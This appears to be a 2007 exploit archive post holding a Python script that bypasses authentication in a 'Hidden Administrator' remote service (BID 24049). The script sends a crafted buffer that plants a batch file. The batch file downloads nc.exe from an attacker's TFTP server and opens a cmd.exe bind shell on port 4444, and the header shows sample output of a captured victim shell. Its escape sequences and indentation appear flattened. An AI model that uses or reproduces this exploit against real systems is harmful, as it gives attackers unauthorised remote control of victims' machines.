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irrational-bypass.txt

Posted on 21 May 2007

####################################################################################
#           Hidden Administrator Authenticaiton Bypass Exploit                     #
#                   ahmed[at]rewterz.com                                           #
#            http://www.securityfocus.com/bid/24049                                #
#                                                                                  #
# C:>python rewt-ha-exp.py                                                        #
# Usage: rewt-ha-exp.py -h <host ip> -p <port> -t <tftpd server ip>                #
# make sure nc.exe exists on tftpd server                                          #
#                                                                                  #
# C:>telnet 192.168.1.4 4444                                                      #
# C:>python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105                #
# [+] Connecting to 192.168.1.4                                                    #
# [+] Uploading Files                                                              #
# [+] DONE [+]                                                                     #
# [+] Now Connect to port 4444 on victim IP !!!                                    #
#                                                                                  #
# C:>telnet 192.168.1.4 4444                                                      #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
# C:ha_server>                                                                    #
####################################################################################


import socket
import struct
import time
import sys
import getopt


def usage():
print "
"
print "######################################################"
print "# Hidden Administrator Authentication Bypass Exploit #"
print "#           Coded By ahmed[at]rewterz.com            #"
print "######################################################"
print "
"
print "Usage: %s -h <host ip> -p <port> -t <tftpd server ip>" % sys.argv[0]
print "make sure nc.exe exists on tftpd server
"

def exploit():
h ="%X" % (130+len(tftpd))
buff1='_file_manager_operations_copy_files_Loc_Rem_c:\^file
x0brewt_ha.bat'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'
buff1+='x00x00x00x00x00x00x00x00x00x00'
buff1 += ('\x' + h).decode('string_escape')
buff1 += 'x00x00x00x00x00x00x00'
buff1+='x00tftp -i ' + tftpd + ' GET nc.exe c:\nc.exe                           '
buff1+='
c:\nc.exe -L -d -p 4444 -e cmd.exe                 

         '
buff1+='      

_file_manager_operations_get_cur_dir_c:
'
try:
print "[+] Connecting to %s" %host
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,int(port)))
print "[+] Uploading Files"
s.send(buff1)
time.sleep(2)
s.send('+run_C:\rewt_ha.bat|
')
time.sleep(1)
print "[+] DONE [+]"
print "[+] Now Connect to port 4444 on victim IP !!!"
except:
print "[+] Could not connect to the server"


if len(sys.argv)<7:
usage()
sys.exit()
try:
options = getopt.getopt(sys.argv[1:], 'h:p:t:')[0]
except getopt.GetoptError, err:
print err
usage()
sys.exit()


for option, value in options:
if option == '-h':
host = value
if option == '-p':
port = int(value)
if option == '-t':
tftpd=value
exploit()

 

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